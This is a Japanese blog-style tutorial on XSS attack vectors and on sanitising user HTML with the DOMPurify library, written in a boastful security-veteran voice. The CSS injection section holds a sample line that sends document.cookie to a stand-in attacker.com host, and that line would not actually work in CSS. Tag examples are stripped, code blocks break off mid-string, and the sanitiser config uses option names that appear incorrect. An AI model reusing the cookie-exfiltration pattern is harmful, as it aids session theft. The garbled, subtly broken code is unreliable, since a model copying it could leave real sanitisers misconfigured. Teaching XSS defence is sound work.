おう、諸君。今日もセキュリティの最前線で奮闘しているか? 俺は、数々のサイバー攻撃の痕跡を追い、その裏で蠢く攻撃者の手口を暴いてきた。今日は、Webアプリケーション開発において、避けては通れない「インジェクション攻撃」の中でも、特に厄介な「XSS(クロスサイトスクリプティング)」に焦点を当て、その温床となりがちな、ユーザーからのHTML入力を安全に処理するための強力な武器、DOMPurify の正しい使い方を、現場のリアルな目線で伝授しよう。
教科書通りの説明で終わらせるつもりはない。攻撃者がどんな手でシステムに忍び込もうとしているのか、そして、それをどうすれば泥臭く、しかし確実に叩き潰せるのか。その辺りの「生きた知恵」を、具体的なコード例と共にお届けする。
—
1. なぜ「HTML入力のサニタイズ」が重要なのか? 攻撃者の餌食となる典型的なシナリオ
まず、なぜユーザーから受け取ったHTML入力を無造制に表示してはいけないのか、その根本から理解しよう。これは、単なる「入力値のチェック」というレベルの話ではない。攻撃者は、我々が「安全」だと思い込んでいる隙間を縫って、巧妙に悪意のあるコードを仕掛けてくる。
1.1. 攻撃者が狙う「盲点」: タグだけではない!
多くの開発者は、 タグによるJavaScriptの挿入をXSSの主な攻撃手法だと考えている。もちろん、これは非常に危険だ。しかし、攻撃者の手口はもっと狡猾だ。
- イベントハンドラ属性:
onerror,onload,onclickなどのHTML属性にJavaScriptコードを仕込む。例えば、画像が表示されない場合に実行されるonerrorイベントは、悪用されやすい。
hrefやsrc属性:javascript:スキームを使えば、リンクや画像ソースからでもJavaScriptを実行できる。
- CSSインジェクション: 一見無害に見えるCSSでも、
:afterや:before疑似要素と組み合わせることで、外部リソースを読み込ませたり、JavaScriptを実行させたりする手法が存在する。
body:after { content: url('http://attacker.com/log?cookie=' + document.cookie); }
- カスタムデータ属性やメタデータ: ブラウザによっては、これらの属性に含まれる値も解釈し、脆弱性を生み出す可能性がある。
これらの攻撃は、単にユーザーのブラウザで悪意のあるJavaScriptを実行させるだけでなく、ユーザーのCookieを窃取したり、セッションを乗っ取ったり、さらにはユーザーになりすまして不正な操作を行ったりする、より深刻な被害につながる可能性がある。
1.2. 典型的なインシデント例:コメント欄からの悪夢
例えば、ブログや掲示板のコメント欄に、ユーザーがHTMLタグを自由に投稿できるとしよう。攻撃者は、以下のようなコードを投稿するかもしれない。
もし、このコメントがそのままブラウザにレンダリングされたら? そのコメントを見た他のユーザーは、意図せず自分のCookieを攻撃者に奪われてしまう。これが、XSSの恐ろしさだ。
2. DOMPurify:HTML入力を「安全」にするための盾
このような攻撃から我々のシステムを守るために、強力なサニタイズライブラリが必要となる。そこで登場するのが、DOMPurify だ。
DOMPurifyは、ブラウザのDOM APIを直接利用して、HTMLを安全にクリーンアップするJavaScriptライブラリだ。その最大の特徴は、DOMPurifyは、ブラウザのネイティブなパーサーとセキュリティメカニズムを最大限に活用して、非常に安全かつ高速にHTMLを処理できる点にある。
2.1. DOMPurifyの基本:最小限の設定で安全に
DOMPurifyの基本的な使い方は非常にシンプルだ。まず、ライブラリを読み込む。
そして、サニタイズしたいHTML文字列を DOMPurify.sanitize() 関数に渡すだけだ。
// ユーザーからの入力(危険な可能性のあるHTML)
const userInput = '
これは安全なテキストです。
';
// DOMPurifyでサニタイズ
const cleanHTML = DOMPurify.sanitize(userInput);
// 安全になったHTMLを表示
document.getElementById('output').innerHTML = cleanHTML;
// 出力結果:
これは安全なテキストです。
// ';
const config = {
// 許可するタグのみを指定する(デフォルトのHTML5プロファイルは強力だが、より厳密にする場合)
USE_PROFILES: { html: false }, // HTML5プロファイルを無効化
ALLOW_TAGS: ['p', 'a', 'b', 'i', 'strong', 'em'], // 許可するタグを明示
ALLOW_ATTR: ['href', 'title'], // 許可する属性を明示
ADD_URI_SCHEMES: ['https', 'http'], // 許可するURIスキーム
};
const cleanHTML = DOMPurify.sanitize(userInput, config);
console.log(cleanHTML);
// 出力:
これはリンクです。
//
コメント